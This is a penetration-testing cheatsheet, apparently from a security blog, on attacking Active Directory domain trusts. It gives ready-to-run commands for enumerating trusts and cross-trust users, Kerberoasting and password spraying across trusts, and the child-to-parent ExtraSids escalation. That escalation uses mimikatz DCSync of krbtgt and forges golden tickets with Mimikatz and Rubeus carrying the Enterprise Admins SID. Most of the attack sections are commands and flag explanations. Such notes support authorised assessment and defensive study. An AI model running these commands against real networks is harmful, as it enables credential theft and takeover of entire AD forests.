Keyboard shortcuts

Press or to navigate between chapters

Press S or / to search in the book

Press ? to show this help

Press Esc to hide this help

🏠 Back to Blog

Domain Trusts Cheatsheet

Enumerate Trusts

Built-in AD Module

Import-Module activedirectory
Get-ADTrust -Filter *

PowerView

# Current domain trusts
Get-DomainTrust

# Full trust mapping across all reachable domains
Get-DomainTrustMapping

netdom

netdom query /domain:<DOMAIN> trust
netdom query /domain:<DOMAIN> dc
netdom query /domain:<DOMAIN> workstation

BloodHound

Use pre-built query: Map Domain Trusts


Key Properties to Check

PropertyMeaning
DirectionBidirectional or one-way
IntraForestTrue = parent-child within same forest
ForestTransitiveTrue = forest trust
TrustAttributesWITHIN_FOREST, FOREST_TRANSITIVE
SIDFilteringQuarantinedWhether SID filtering is active
TGTDelegationWhether TGT delegation is allowed

Cross-Trust Enumeration

# Users in a trusted domain
Get-DomainUser -Domain <TRUSTED_DOMAIN> | select SamAccountName

# Groups in a trusted domain
Get-DomainGroup -Domain <TRUSTED_DOMAIN> | select SamAccountName

# SPNs in a trusted domain (for Kerberoasting)
Get-DomainUser -SPN -Domain <TRUSTED_DOMAIN> | select SamAccountName,serviceprincipalname

# Domain Admins in a trusted domain
Get-DomainGroupMember -Identity "Domain Admins" -Domain <TRUSTED_DOMAIN>

Cross-Trust Attacks

Kerberoasting Across Trust

# Windows (Rubeus)
.\Rubeus.exe kerberoast /domain:<TRUSTED_DOMAIN> /nowrap

# Linux (Impacket)
GetUserSPNs.py -dc-ip <TRUSTED_DC_IP> <TRUSTED_DOMAIN>/<USER>:<PASS> -request

Password Spraying Across Trust

crackmapexec smb <TRUSTED_DC_IP> -u users.txt -p '<PASSWORD>' -d <TRUSTED_DOMAIN>

Trust Type Reference

TypeDirectionTransitiveSID Filtering
Parent-childBidirectionalYesNo
Cross-linkBidirectionalYesNo
Tree-rootBidirectionalYesNo
ForestVariesYesYes (by default)
ExternalVariesNoYes

Child -> Parent (ExtraSids Attack)

Gather Prerequisites

# 1. KRBTGT hash from child domain
mimikatz # lsadump::dcsync /user:CHILDDOM\krbtgt

# 2. Child domain SID
Get-DomainSID

# 3. Enterprise Admins SID from parent domain
Get-DomainGroup -Domain <PARENT_DOMAIN> -Identity "Enterprise Admins" | select objectsid
# Or: Get-ADGroup -Identity "Enterprise Admins" -Server "<PARENT_DOMAIN>"

Mimikatz Golden Ticket

mimikatz # kerberos::golden /user:hacker /domain:<CHILD_FQDN> /sid:<CHILD_SID> /krbtgt:<KRBTGT_HASH> /sids:<EA_SID> /ptt

Rubeus Golden Ticket

.\Rubeus.exe golden /rc4:<KRBTGT_HASH> /domain:<CHILD_FQDN> /sid:<CHILD_SID> /sids:<EA_SID> /user:hacker /ptt

Verify & Exploit

# Confirm ticket in memory
klist

# Access parent domain DC
ls \\<PARENT_DC_FQDN>\c$

# DCSync the parent domain
mimikatz # lsadump::dcsync /user:<PARENT>\administrator /domain:<PARENT_FQDN>

Flag Reference

FlagValue
/userAny name (can be fake)
/domainChild domain FQDN
/sidChild domain SID
/krbtgt or /rc4Child KRBTGT NT hash
/sidsEnterprise Admins SID (<parent-SID>-519)
/pttInject ticket into current session

Assessment Checklist

  1. Enumerate all trusts with Get-ADTrust or Get-DomainTrust
  2. Note direction, transitivity, and SID filtering status
  3. Map full trust topology with Get-DomainTrustMapping
  4. Enumerate users, groups, and SPNs across each trusted domain
  5. Kerberoast / password spray across trusts
  6. Check if compromised accounts have admin rights in the target domain
  7. Visualize with BloodHound
  8. Document all trusts for the report (clients are often unaware)